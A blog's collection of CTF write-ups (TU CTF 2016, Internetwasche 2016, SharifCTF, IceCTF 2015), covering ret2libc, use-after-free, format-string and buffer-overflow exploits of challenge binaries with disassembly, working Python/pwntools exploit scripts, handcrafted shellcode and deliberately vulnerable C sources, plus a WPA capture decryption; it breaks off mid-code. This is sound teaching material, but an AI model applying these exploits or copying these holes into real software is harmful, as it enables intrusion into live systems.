TU CTF 2016 – WhereHereticsSuffer Stage2 (150)

This post will be only about second stage of this task. I received this binary with description and libc from a teammate who was doing a forensic tasks. It appeared to be simple pwn with 2 leaked addresses straight from the start in stdout: leaked stack buffer address and leaked puts address.

CTF Website: TU CTF 2016

After connecting to the server you receive message like this:

Watch your tongue, mortal, for here lies those who spoke words of heresy!
Luckily for you, just the right heresy is the key to getting out of here
Lucifer was able to find the location of puts, 0xf7655da0, but the rest is up to you.
Your current location is 0xffdc0418

Checksec.sh info about this binary file:

RELRO           STACK CANARY      NX            PIE      RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE   No RPATH   No RUNPATH   heresy

Function main:

s               = byte ptr -30h
 var_10          = dword ptr -10h
 handle          = dword ptr -0Ch
 argc            = dword ptr  0Ch
 argv            = dword ptr  10h
 envp            = dword ptr  14h

lea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ecx
sub     esp, 34h
sub     esp, 8
push    1               ; mode
push    offset file     ; "libc.so"
call    _dlopen
add     esp, 10h
mov     [ebp+handle], eax
sub     esp, 8
push    offset name     ; "puts"
push    [ebp+handle]    ; handle
call    _dlsym
add     esp, 10h
mov     [ebp+var_10], eax
sub     esp, 0Ch
push    offset s        ; "Watch your tongue, mortal, for here lie"...
call    _puts
add     esp, 10h
sub     esp, 0Ch
push    offset aLuckilyForYouJ ; "Luckily for you, just the right heresy "...
call    _puts
add     esp, 10h
sub     esp, 8
push    [ebp+var_10]
push    offset format   ; "Lucifer was able to find the location o"...
call    _printf
add     esp, 10h
sub     esp, 8
lea     eax, [ebp+s]
push    eax
push    offset aYourCurrentLoc ; "Your current location is 0x%x\n"
call    _printf
add     esp, 10h
mov     eax, ds:__bss_start
sub     esp, 0Ch
push    eax             ; stream
call    _fflush
add     esp, 10h
sub     esp, 0Ch
lea     eax, [ebp+s]
push    eax             ; s
call    _gets
add     esp, 10h
sub     esp, 8
lea     eax, [ebp+s]
push    eax
push    offset aYourInputWasS ; "Your input was: %s\n"
call    _printf
add     esp, 10h
mov     eax, 0
mov     ecx, [ebp-4]
leave
lea     esp, [ecx-4]
retn

I noticed there is a buffer overflow on user input that can be used to perform ret2libc attack on this binary. I calculated delta from leaked puts address to system function in given libc. Prepared fake stack with system address and /bin/sh argument sent to server gave me shell and points for the team 🙂

Here’s my python code to exploit this task:

from pwn import *
import struct

sock = remote('146.148.118.244', 6660)

print sock.recvline().rstrip()
print sock.recvline().rstrip()
puts_addr = int(sock.recvline().rstrip().split()[9].rstrip(','),0)
stack_ptr = int(sock.recvline().rstrip().split()[4],0)
system_addr = puts_addr - 0x269C0
fake_stack = struct.pack('<I', system_addr) + struct.pack('<I', stack_ptr + 8) + struct.pack('<I', stack_ptr + 0xC) + '\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x00'
shellcode = fake_stack + '\x00AAAAAAAAAAAAAAAAAAAA'+ struct.pack('<I', stack_ptr + 4) + 'AAAA\n'

sock.send(shellcode)
sock.interactive()

Flag: tuctf{GloryToTheGodEmporer!}

TU CTF 2016 – WoO2 (50), WoO(150), woO2-fixed (250)

This weekend after few not really productive CTFs I finally managed to score some real points. My team (DlcsHrs) finished CTF in 12th place in a 2 days long fight. Solving those three tasks appeared to be possible just with one script, I probably missed the things I needed to notice in this pwn tasks separately.

CTF website: TU CTF 2016
Binaries can be found here: binaries_download

I uploaded binaries because I think it’s easier to learn stuff when debugging binary with solution than reading very long and detailed solution without practical knowledge presentation.

Application’s main menu:

Welcome! I don't think we're in Kansas anymore.
We're about to head off on an adventure!
Select some animals you want to bring along.

Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

As you can see you can you can add and delete animals. Each animal object was allocated on heap. Trick in this task was to perform use after free on bear object and force execution of the pointer stored in this object.

Function below named PwnMe was called when hidden option was chosen from application main menu – 4919. This function calls a pointer calculated from the bear offset and table of pointers to objects. From what I noticed it was a bit different in all of those binaries but my solution solved all of them at once so I didn’t bothered to check what’s the difference.

var_10          = qword ptr -10h
var_8           = qword ptr -8

                push    rbp
                mov     rbp, rsp
                sub     rsp, 10h
                mov     eax, cs:bearOffset
                cdqe
                mov     rax, ds:pointers[rax*8]
                mov     [rbp+var_10], rax
                mov     rax, [rbp+var_10]
                mov     eax, [rax+14h]
                cmp     eax, 3
                jnz     short loc_400CDB
                mov     rax, [rbp+var_10]
                mov     rax, [rax]
                mov     [rbp+var_8], rax
                mov     rax, [rbp+var_8]
                call    rax

loc_400CDB:                             ; CODE XREF: pwnMe+26j
                mov     edi, 0          ; status
                call    _exit

To print a flag there is a function in executable named l33tH4x0r. I put it’s address in Tiger object add to execute it in PwnMe function.
Function to print a flag:

l33tH4x0r       proc near
stream          = qword ptr -48h
s               = byte ptr -40h
var_8           = qword ptr -8

push    rbp
mov     rbp, rsp
sub     rsp, 50h
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
mov     esi, offset modes ; "r"
mov     edi, offset filename ; "flag.txt"
call    _fopen
mov     [rbp+stream], rax
mov     rdx, [rbp+stream] ; stream
lea     rax, [rbp+s]
mov     esi, 32h        ; n
mov     rdi, rax        ; s
call    _fgets
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _puts
mov     rax, cs:stdout@@GLIBC_2_2_5
mov     rdi, rax        ; stream
call    _fflush
mov     rax, [rbp+stream]
mov     rdi, rax        ; stream
call    _fclose
mov     rax, [rbp+var_8]
xor     rax, fs:28h
jz      short locret_400987
call    ___stack_chk_fail
locret_400987:
leave
retn
l33tH4x0r       endp

Here’s my script that worked on all tasks, all you need to change is the address in SendTiger to point to function responsible of printing the flag from selected binary and server address.

from pwn import *
import struct

def PrintWlcmMsg(sock):
	print "WELCOME MESSAGE:"
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()

def PrintMenu(sock):
	print "MENU:"
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()	
	print sock.recvline().rstrip()

def SendLion(sock):
	print 'LION:'
	sock.send('1\n')
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print 'SENDING: 1'
	sock.send('1\n')
	print sock.recvline().rstrip()
	print 'AAAAAAAAAAAAAAAAAAA'
	sock.send('AAAAAAAAAAAAAAAAAAA\n')

def SendTiger(sock):
	print 'TIGER:'
	sock.send('2\n')
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print 'SENDING: 3'
	sock.send('3\n')
	print sock.recvline().rstrip()
	address = struct.pack('<Q', 0x00000000004008DD)
	print 'SENDING addr + AAAAAAAAAAA'
	sock.send(address + 'AAAAAAAAAAA\n')

def SendMagic(sock):
	print 'MAGIC:'
	sock.send('4919\n')
	sock.interactive()

def SendBear(sock):
	print 'BEAR:'
	sock.send('3\n')
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print 'SENDING: 3'
	sock.send('3\n')
	print sock.recvline().rstrip()
	print 'SENDING AAAAAAAAA'
	sock.send('AAAAAAAAA\n')

def DeleteBear(sock):
	print 'DEL:'
	sock.send('4\n')
	print sock.recvline().rstrip()
	print sock.recvline().rstrip()
	print 'SENDING: 2'
	sock.send('2\n')

sock = remote('104.196.15.126', 15050)
PrintWlcmMsg(sock)
PrintMenu(sock)
SendLion(sock)
PrintMenu(sock)
SendLion(sock)
PrintMenu(sock)
SendBear(sock)
PrintMenu(sock)
DeleteBear(sock)
PrintMenu(sock)
SendTiger(sock)
PrintMenu(sock)
SendMagic(sock)

Flags:
WoO2: TUCTF{free_as_in_freedom_I_mean_Use_after_free}
woO2-fixed: TUCTF{free_as_in_use_after_free_I_hope-_-}
WoO: TUCTF{H3ap_O_Fl0w_ftw}

Internetwasche CTF 2016 – Exploit 80 – Remote Printer

Today with friends from newly created team DeliciousHorse (DlcsHrs) we played Internetwasche CTF 2016. CTF website: here. We finished at 23rd place, solving all the tasks. Among the tasks I did there was interesting pwn I will write about.

Task description from CTF website:

Description: Printer are very very important for offices. Especially for remote printing. My boss told me to build a tool for that task.

There was linux x86 binary attached to the task. The same binary was running on remote server where flag file resided. Application was asking user to provide IP and port of the server with data.

Dissasembled main function in snippet below is asking for IP address and port of remote server:

.text:080486CB main            proc near               ; DATA XREF: start+17o
.text:080486CB
.text:080486CB port            = dword ptr -1Ch
.text:080486CB ipAddr          = byte ptr -18h
.text:080486CB var_4           = dword ptr -4
.text:080486CB
.text:080486CB                 lea     ecx, [esp+4]
.text:080486CF                 and     esp, 0FFFFFFF0h
.text:080486D2                 push    dword ptr [ecx-4]
.text:080486D5                 push    ebp
.text:080486D6                 mov     ebp, esp
.text:080486D8                 push    ecx
.text:080486D9                 sub     esp, 24h
.text:080486DC                 mov     eax, ds:stdout
.text:080486E1                 sub     esp, 8
.text:080486E4                 push    0               ; buf
.text:080486E6                 push    eax             ; stream
.text:080486E7                 call    _setbuf
.text:080486EC                 add     esp, 10h
.text:080486EF                 mov     [ebp+port], 0
.text:080486F6                 sub     esp, 0Ch
.text:080486F9                 push    offset s        ; "This is a remote printer!"
.text:080486FE                 call    _puts
.text:08048703                 add     esp, 10h
.text:08048706                 sub     esp, 0Ch
.text:08048709                 push    offset format   ; "Enter IPv4 address:"
.text:0804870E                 call    _printf
.text:08048713                 add     esp, 10h
.text:08048716                 sub     esp, 8
.text:08048719                 lea     eax, [ebp+ipAddr]
.text:0804871C                 push    eax
.text:0804871D                 push    offset a15s     ; "%15s"
.text:08048722                 call    ___isoc99_scanf
.text:08048727                 add     esp, 10h
.text:0804872A                 sub     esp, 0Ch
.text:0804872D                 push    offset aEnterPort ; "Enter port:"
.text:08048732                 call    _printf
.text:08048737                 add     esp, 10h
.text:0804873A                 sub     esp, 8
.text:0804873D                 lea     eax, [ebp+port]
.text:08048740                 push    eax
.text:08048741                 push    offset aD       ; "%d"
.text:08048746                 call    ___isoc99_scanf
.text:0804874B                 add     esp, 10h
.text:0804874E                 mov     eax, [ebp+port]
.text:08048751                 sub     esp, 4
.text:08048754                 push    eax
.text:08048755                 lea     eax, [ebp+ipAddr]
.text:08048758                 push    eax
.text:08048759                 push    offset aThankYouIMTryi ; "Thank you, I'm trying to print %s:%d no"...
.text:0804875E                 call    _printf
.text:08048763                 add     esp, 10h
.text:08048766                 mov     eax, [ebp+port]
.text:08048769                 sub     esp, 8
.text:0804876C                 push    eax             ; int
.text:0804876D                 lea     eax, [ebp+ipAddr]
.text:08048770                 push    eax             ; cp
.text:08048771                 call    sub_8048786
.text:08048776                 add     esp, 10h
.text:08048779                 mov     eax, 0
.text:0804877E                 mov     ecx, [ebp+var_4]
.text:08048781                 leave
.text:08048782                 lea     esp, [ecx-4]
.text:08048785                 retn
.text:08048785 main            endp

User data obtained from stdin gets passed to the function sub_8048786 called from main function. Provided IP address and port is used to create new socket connection and receive 8192 bytes of user controlled data from the server. Obtained data is pushed directly to printf function without any validation or format specified. This leads to exploitable format string vulnerability.

Vulnerable function sub_8048786:

.text:08048786 sub_8048786     proc near               ; CODE XREF: main+A6p
.text:08048786
.text:08048786 buf             = byte ptr -201Ch
.text:08048786 addr            = sockaddr ptr -1Ch
.text:08048786 fd              = dword ptr -0Ch
.text:08048786 ipaddr          = dword ptr  8
.text:08048786 port            = dword ptr  0Ch
.text:08048786
.text:08048786                 push    ebp
.text:08048787                 mov     ebp, esp
.text:08048789                 sub     esp, 2028h
.text:0804878F                 sub     esp, 4
.text:08048792                 push    0               ; protocol
.text:08048794                 push    1               ; type
.text:08048796                 push    2               ; domain
.text:08048798                 call    _socket
.text:0804879D                 add     esp, 10h
.text:080487A0                 mov     [ebp+fd], eax
.text:080487A3                 cmp     [ebp+fd], 0FFFFFFFFh
.text:080487A7                 jnz     short loc_80487BE
.text:080487A9                 sub     esp, 0Ch
.text:080487AC                 push    offset aNoSocket ; "No socket :("
.text:080487B1                 call    _puts
.text:080487B6                 add     esp, 10h
.text:080487B9                 jmp     locret_8048865
.text:080487BE ; ---------------------------------------------------------------------------
.text:080487BE
.text:080487BE loc_80487BE:                            ; CODE XREF: sub_8048786+21j
.text:080487BE                 sub     esp, 0Ch
.text:080487C1                 push    [ebp+ipaddr]    ; cp
.text:080487C4                 call    _inet_addr
.text:080487C9                 add     esp, 10h
.text:080487CC                 mov     dword ptr [ebp+addr.sa_data+2], eax
.text:080487CF                 mov     [ebp+addr.sa_family], 2
.text:080487D5                 mov     eax, [ebp+port]
.text:080487D8                 movzx   eax, ax
.text:080487DB                 sub     esp, 0Ch
.text:080487DE                 push    eax             ; hostshort
.text:080487DF                 call    _htons
.text:080487E4                 add     esp, 10h
.text:080487E7                 mov     word ptr [ebp+addr.sa_data], ax
.text:080487EB                 sub     esp, 4
.text:080487EE                 push    10h             ; len
.text:080487F0                 lea     eax, [ebp+addr]
.text:080487F3                 push    eax             ; addr
.text:080487F4                 push    [ebp+fd]        ; fd
.text:080487F7                 call    _connect
.text:080487FC                 add     esp, 10h
.text:080487FF                 test    eax, eax
.text:08048801                 jns     short loc_8048815
.text:08048803                 sub     esp, 0Ch
.text:08048806                 push    offset aNoCommunicatio ; "No communication :(\n"
.text:0804880B                 call    _perror
.text:08048810                 add     esp, 10h
.text:08048813                 jmp     short locret_8048865
.text:08048815 ; ---------------------------------------------------------------------------
.text:08048815
.text:08048815 loc_8048815:                            ; CODE XREF: sub_8048786+7Bj
.text:08048815                 push    0               ; flags
.text:08048817                 push    2000h           ; n
.text:0804881C                 lea     eax, [ebp+buf]
.text:08048822                 push    eax             ; buf
.text:08048823                 push    [ebp+fd]        ; fd
.text:08048826                 call    _recv
.text:0804882B                 add     esp, 10h
.text:0804882E                 test    eax, eax
.text:08048830                 jns     short loc_8048844
.text:08048832                 sub     esp, 0Ch
.text:08048835                 push    offset aNoData  ; "No data :("
.text:0804883A                 call    _puts
.text:0804883F                 add     esp, 10h
.text:08048842                 jmp     short locret_8048865
.text:08048844 ; ---------------------------------------------------------------------------
.text:08048844
.text:08048844 loc_8048844:                            ; CODE XREF: sub_8048786+AAj
.text:08048844                 sub     esp, 0Ch
.text:08048847                 lea     eax, [ebp+buf]
.text:0804884D                 push    eax             ; format
.text:0804884E                 call    _printf
.text:08048853                 add     esp, 10h
.text:08048856                 sub     esp, 0Ch
.text:08048859                 push    [ebp+fd]        ; fd
.text:0804885C                 call    _close
.text:08048861                 add     esp, 10h
.text:08048864                 nop
.text:08048865
.text:08048865 locret_8048865:                         ; CODE XREF: sub_8048786+33j
.text:08048865                                         ; sub_8048786+8Dj ...
.text:08048865                 leave
.text:08048866                 retn
.text:08048866 sub_8048786     endp

I already knew where vulnerability was, but at this point I didn’t know how to exploit it. In application’s got table there weren’t any functions that could lead to gain shell access and there was only one api from got called after vulnerable printf function call and before application exit.

.got.plt:08049C44 off_8049C44     dd offset setbuf        ; DATA XREF: _setbufr
.got.plt:08049C48 off_8049C48     dd offset printf        ; DATA XREF: _printfr
.got.plt:08049C48                                         ; FFFFB172r
.got.plt:08049C4C off_8049C4C     dd offset fgets         ; DATA XREF: _fgetsr
.got.plt:08049C4C                                         ; FFFFB15Dr
.got.plt:08049C50 off_8049C50     dd offset fclose        ; DATA XREF: _fcloser
.got.plt:08049C54 off_8049C54     dd offset htons         ; DATA XREF: _htonsr
.got.plt:08049C58 off_8049C58     dd offset perror        ; DATA XREF: _perrorr
.got.plt:08049C5C off_8049C5C     dd offset puts          ; DATA XREF: _putsr
.got.plt:08049C60 off_8049C60     dd offset __gmon_start__ ; DATA XREF: ___gmon_start__r
.got.plt:08049C64 off_8049C64     dd offset __libc_start_main
.got.plt:08049C64                                         ; DATA XREF: ___libc_start_mainr
.got.plt:08049C68 off_8049C68     dd offset fopen         ; DATA XREF: _fopenr
.got.plt:08049C68                                         ; FFFFB149r
.got.plt:08049C6C off_8049C6C     dd offset __isoc99_scanf ; DATA XREF: ___isoc99_scanfr
.got.plt:08049C70 off_8049C70     dd offset socket        ; DATA XREF: _socketr
.got.plt:08049C74 off_8049C74     dd offset inet_addr     ; DATA XREF: _inet_addrr
.got.plt:08049C78 off_8049C78     dd offset connect       ; DATA XREF: _connectr
.got.plt:08049C7C off_8049C7C     dd offset recv          ; DATA XREF: _recvr
.got.plt:08049C80 off_8049C80     dd offset close         ; DATA XREF: _closer

I found in memory some strings referring to the flag.txt file reading. These strings were intentionally left there to ease pwner’s job. I noted them down for future use.

RVA => 9DC 'r'
RVA => 9DE 'flag.txt'
RVA => 9E7 'YAY, FLAG: %s\n'

After in depth inspection in debugger I noticed I can use leaked stack pointer and other leaked value from the module (to calculate image base) to prepare format string exploit with shellcode. In shellcode I used fopen, fgets and printf functions from got table and strings from memory to read and print to stdout contents of flag.txt file. Using format string $hn I overwrote return address on the stack so it pointed to my shellcode. I prepared shellcode in x64dbg under Windows and left markers (12345678) in places where I wrote addresses in python script.

I created 2 socket servers serving content to the app. First server was sending format string to leak needed addresses and second server was sending prepared binary payload with shellcode and format string.

First payload for leaking addresses used to prepare second payload:

Stack buffer addr: 0x%X Leaked in-module pointer: %1682$x

Python script to create second payload with data obtained from first payload:

'''
00401DF6 | 8D 05 78 56 34 12        | lea eax,dword ptr ds:[12345678]         | ;addr r
00401DFC | 50                       | push eax                                |
00401DFD | 8D 05 78 56 34 12        | lea eax,dword ptr ds:[12345678]         | ;addr flag.txt
00401E03 | 50                       | push eax                                |
00401E04 | FF 15 78 56 34 12        | call dword ptr ds:[12345678]            | ;call fopen
00401E0A | 50                       | push eax                                | ;push FILE*
00401E0B | 68 20 00 00 00           | push 20                                 | ;number of bytes to read
00401E10 | 8D 84 24 00 02 00 00     | lea eax,dword ptr ss:[esp+204]          | ;buff
00401E17 | 50                       | push eax                                |
00401E18 | FF 15 78 56 34 12        | call dword ptr ds:[12345678]            | ;call fgets
00401E1E | 8D 84 24 04 02 00 00     | lea eax,dword ptr ss:[esp+200]          | ;addr of buffer
00401E25 | 50                       | push eax                                |
00401E26 | 8D 05 78 56 34 12        | lea eax,dword ptr ds:[12345678]         | ;addr of printf string
00401E2C | 50                       | push eax                                |
00401E2D | FF 15 78 56 34 12        | call dword ptr ds:[12345678]            | ;call printf
'''

import struct

LEAKED_IMAGE_ADDRESS = 0x80482e1
IMAGE_BASE = LEAKED_IMAGE_ADDRESS - 0x2E1

LEAKED_BUFF_ADDR = 0xFFFFBCEC

r_va = IMAGE_BASE + 0x9DC
flag_va = IMAGE_BASE + 0x9DE
format_va = IMAGE_BASE + 0x9E7
fopen_got = IMAGE_BASE + 0x1C68
fgets_got = IMAGE_BASE + 0x1C4C
printf_got = IMAGE_BASE + 0x1C48


sc = '\x00'
sc = sc + 30 * '\x90'
sc = sc + '\x8D' + '\x05'
sc = sc + struct.pack('<I', r_va)
# push eax
sc = sc + '\x50'
# lea flag
sc = sc + '\x8D' + '\x05'
sc = sc + struct.pack('<I', flag_va)
# push eax
sc = sc + '\x50'
# call fopen
sc = sc + '\xFF' '\x15'
sc = sc + struct.pack('<I', fopen_got)
# push eax
sc = sc + '\x50'
# push 20
sc = sc + '\x68' + '\x20' + '\x00' + '\x00' + '\x00'
# lea buff
sc = sc + '\x8D' + '\x84' + '\x24' + '\x04' + '\x02' + '\x00' + '\x00'
# push buff
sc = sc + '\x50'
# call fgets
sc = sc + '\xFF' + '\x15'
sc = sc + struct.pack('<I', fgets_got)
# lea buff
sc = sc + '\x8D' + '\x84' + '\x24' + '\x00' + '\x02' + '\x00' + '\x00'
# push eax
sc = sc + '\x50'

sc = sc + '\x8D' + '\x05' + struct.pack('<I', format_va)
sc = sc + '\x50'
sc = sc + '\xFF' + '\x15' + struct.pack('<I', printf_got)
sc = sc + '\xC3'

f = open('payload.bin', 'wb')

STACK_RET_ADDR = LEAKED_BUFF_ADDR + 0x2020
STACK_RET_ADDR_LO = struct.pack('<I', STACK_RET_ADDR)
STACK_RET_ADDR_HI = struct.pack('<I', STACK_RET_ADDR + 2)

SC_ADDR = LEAKED_BUFF_ADDR + 8 + 40
SC_ADDR_LO = (SC_ADDR & 0x0000FFFF) - 8
SC_ADDR_HI = (SC_ADDR >> 16) - 8 - SC_ADDR_LO

f.write(STACK_RET_ADDR_LO)
f.write(STACK_RET_ADDR_HI)

# write format string
format_string1 = '%' + str(SC_ADDR_LO) + 'x%7$hn'
format_string2 = '%' + str(SC_ADDR_HI) + 'x%8$hn'

f.write(format_string1)
f.write(format_string2)

f.write(sc)

f.close()

Feeding application with created payload gave me the flag and points to the team.
Flag: IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}

SharifCTF Network Forensics task writeup

Today with friends we played SharifCTF (url: http://ctf.sharif.edu/2016/). CTF was full of very interesting tasks and what is not very common in CTF competitions there were also Windows PE files tasks.
Task I consider interesting from this CTF is Network Forensics and it was worth 200 pts.

Task decription from CTF site:

You are given a cap file that contains wireless traffics in a location. Find the flag! 🙂

There was a .cap file attached to the task to download.

After loading Net_Forensic.cap file into wireshark I made quick reconnaissance. Majority of packets were 802.11 transmission with SSIDs and other wireless network parameters properly resolved by wireshark.

Wireless transmission with SSID Rome was entirely encrypted. I checked what aircrack-ng have to say about it.

$ aircrack-ng Net_Forensic.cap
Opening Net_Forensic.cap
Read 8525 packets.

   #  BSSID              ESSID                     Encryption

   1  74:EA:3A:FF:0F:48  Rome                      WPA (1 handshake)
   2  38:AA:3C:32:46:60  SD                        None (192.168.43.61)

There wasn’t much transmission captured that isn’t 802.11 but I noticed few TCP and ICMP packets. After following TCP stream I noticed few interesting strings corresponding to some wireless network configuration. I saved stream to binary file and stripped all headers.

Follow TCP Stream

After googling string: Hdbgarea from dump I found Nirsoft website with name of wireless router used. (url: http://www.nirsoft.net/utils/router_password_recovery.html)

Version 1.62:
Added support for another version of rom-0/Hdbgarea file format (Zyxel P-2612HWU-F1 Modem).

I used Nirsoft software on binary file I saved from TCP stream:
Router Pass View recovered password

After password decryption I was able to decrypt .cap file with airdecap-ng.

$ airdecap-ng -e 'Rome' -p Rome4040  Net_Forensic.cap                                                                                                                                                        [18:34:10]
Total number of packets read          8525
Total number of WEP data packets         0
Total number of WPA data packets      1681
Number of plaintext data packets        84
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       391

In decrypted stream I found transmission related to pastebin post creation and the string with similar format like the rest of the flags.

hexdump of decrypted pcap

Flag: be02d2a396482969e39d92b6e440f5e3

IceCTF 2015 multiple tasks writeup

While browsing Reddit: Security CTF I found IceCTF topic advertising this competition as one containing wide variety of problems. It was meant to be for Iceland people only but organizers decided to open it for foreign players too. When I started playing it I didn’t know I will have some team or anyone playing it with me so I named team after my nickname: krzywix. While doing some task I posted question about SQLi in context of this CTF on one of the private slack channels I idle on and that’s how Kacper Szurek joined me in the game, along with 1amtom and other friend. Advertisement didn’t lie, there were a lot of problems from many different fields so everyone in the team found something for him. Simple achievements and tasks unlocking system kept us motivated till the very end. There were a lot of references to Mr. Robot TV show (quite good in my opinion). Task names, descriptions, hints were referring to this series.

We finished CTF in 3rd place fighting for it with khack40, mongols and tRUstno1 till the last hours.

Task: Overflow 1 – 55 points
Type: Binary Exploitation

This task was simple buffer overflow. Player needed to overflow buf[16] to change variable secret to pass this check: if (secret == 0x1cec7fff)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void give_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

void vuln(char *input){
    char buf[16];
    int secret = 0;
    strcpy(buf, input);

    if (secret == 0x1cec7fff){
        give_shell();
    }else{
        printf("The secret is %x\n", secret);
    }
}

int main(int argc, char **argv){
    if (argc > 1)
        vuln(argv[1]);
    return 0;
}

Solution:

./overflow1 $(python -c 'print 16*"A" + "\xff" + "\x7f" + "\xec" + "\x1c"')

Flag: flag_ea3c2ac8a693e669f3cfc19a63b2e78f

Farm Animals – 65 points
Type: Cryptography
Hint: Those pesky little pigs are always up to something

Goal of this task was to read message hidden in the image.

Solution:
It is pigpen cipher described in-depth in wiki: https://en.wikipedia.org/wiki/Pigpen_cipher
By doing simple substitutions I was able to read the flag.

Flag: flag_pigs_shouldnt_write

Task: Overflow 2 – 70 points
Type: Binary Exploitation

Another simple buffer overflow, this time function to give shell is not referenced in code. I found it’s address using “objdump -M intel -S overflow2“. To exploit it I overwrote return address on the stack to point to give_shell() function.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void give_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

void vuln(char *input){
    char buf[16];
    strcpy(buf, input);
}

int main(int argc, char **argv){
    if (argc > 1)
        vuln(argv[1]);
    return 0;
}

Solution:

./overflow2 $(python -c 'print 16*"A" + 5*("\xb0" + "\x84" + "\x04" + "\x08")')

Flag: flag_781b6ed8ede14359226ad521f5c67ae9

Task: Fermat – 80 points
Type: Binary Exploitation

Fermat problem was format string vulnerability. Variable secret is already on the stack when printf on user input is executed, I changed its value to 1337 using %n printf format string.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int secret = 0;

void give_shell(){
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    system("/bin/sh -i");
}

int main(int argc, char **argv){
    int *ptr = &secret;
    printf(argv[1]);

    if (secret == 1337){
        give_shell();
    }
    return 0;
}

Solution:

./fermat $(python -c 'print (1337-41)*"A" + "%X%X%X%X%X%X%n"')

Flag: flag_fermats_last_exploit

fsociety – 95 points
This was an interactive task where player needed to exploit bot on #icectf IRC channel to force him to print the flag. Task contained whole source code of the bot. Below I pasted only interesting part of those sources.

int irc_authenticate(irc_t *irc, char *nick, char *msg)
{
    FILE *f;
    char password[64];
    int digits[16];

    f = fopen("password.txt", "r");
    fgets(password, 64, f);
    password[strcspn(password, "\n")] = '\0';
    fclose(f);

    char z = '0';
    for(int x = 0; x <= 9; x++)
    {
        digits[x] = z++;
    }

    z = 'a';
    for(int y = 0; y <= 7; y++)
    {
        digits[y+9] = z++;
    }

    for(int i = 0; i < strlen(nick); i++)
    {
        int found = 0;
        for(int j = 0; j <= 16 ; j++) { if(nick[i] == digits[j]) found = 1; } if(!found) { irc_msg(irc->s, nick, "y0ur n0t 1337 3|\\|0|_|9|-|");
            return 0;
        }
    }

    if(strcmp(password, msg) == 0)
        return 1;
    else
        irc_msg(irc->s, nick, "YOU DIDN'T SAY THE MAGIC WORD!");
    return 0;
}

int irc_reply_message(irc_t *irc, char *irc_nick, char *irc_chan, char *msg)
{
    if(strcmp("MrRobot", irc_chan) == 0)
    {
        if(irc_authenticate(irc, irc_nick, msg))
        {
            FILE *f;
            char flag[64];
            f = fopen("flag.txt", "r");
            fgets(flag, 64, f);
            fclose(f);

            irc_msg(irc->s, irc_nick, flag);
        }
    }

Solution:
As you can see nick is checked against 16 items from digits[16] array which is filled with characters from “0”-“9” and “a”-“h”. What we also noticed is that digits array is overflowing one character in the second loop. If first loop written 10 chars into it, second one shouldn’t insert another 8 from element number 9. After setting up proper nick and sending message “h” to bot it gave us the flag. It was a lucky guess 😉

Flag: flag_leave_me_here

Task: Epilepsy Warning – 110 points
Type: Forensics
Hint: All your senses need to be on alert for this one, keep your eyes peered and listen

Tricky task, mostly because I’m not native English speaker. Flag was separated into 2 parts, visual and audio. File provided to players is flickering gif, you can find it here.

Solution:
After dissecting gif into single frames I noticed barely visible text and barcode in two of three frames (frame 1 and frame 2). First frame contains some encoded data with no image representation. Frame 1 contains valuable information on how data on frame 0 should be interpreted.
Frame 1:
Frame1
Frame 2:
Frame2

To read what’s hidden under the barcode I needed to tune up image a bit. After changing colors and inverting them, my phone app was able to read barcode properly. At this point I had only half of the flag: “flag_some_barcode_and”.
Tuned barcode:
Frame2 tuned

Second part of the flag was hidden in frame 0 as sound stream. To decompress gif compression algorithm I used giftopnm tool, it’s decompressing gif format to “almost” raw bytes (16 bytes header added). After decompression I imported wave file as raw data to audacity with settings according to data from frame 1.
Import dialog:
importing audio

After successful import I played the audio file multiple times. Below I highlighted the part where guy says what the second part of the flag is. It’s very noisy and hard to understand but after hearing it multiple times and asking few friends what they hear I got second part of the flag.
Decoded audio:
decoded sound

Flag: flag_some_barcode_and_hidden_audio

SuperNote – 150 points
Type: Binary Exploitation
Hint: “So the one who carries his home around town met up with the fluffy one, and they proceeded to determine which one of them was quicker. The answer? Neither.”

After quick reconnaissance I noticed that only supernote application can read and write files in cron.d directory and read the flag. Listing of supernote directory:

drwxrws---.  2 root supernote     6 Aug 19 01:05 cron.d
-rw-r--r--.  1 root root        105 Aug 15 18:25 cron.README
-r--r-----.  1 root supernote    53 Aug  9 15:07 flag.txt
-rw-r--r--.  1 root root         50 Aug  9 16:49 Makefile
-rwxr-sr-x.  1 root supernote 13665 Aug  9 16:52 supernote
-rw-r--r--.  1 root root       2539 Aug  9 16:52 supernote.c

cron.README file contained another hint: SuperNote python processing .task(s) are run in cron.d every minute. The snake is a beautiful creature.

Code of the supernote application from /home/supernote directory:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>
#include <curl/curl.h>

char *gethome() {
    return getpwuid(getuid())->pw_dir;
}

char *get_temp(){
    char *fname = tempnam(gethome(), "ctf1_");
    struct stat buf;
    if(stat(fname, &buf) >= 0) {
        fprintf(stderr, "Temporary file exists!\n");
        exit(1);
    }
    fprintf(stderr, "Temporary file is %s\n", fname);
    return fname;

}
void upload_note(char *email, char *name, char *msg) {
    CURL *curl;
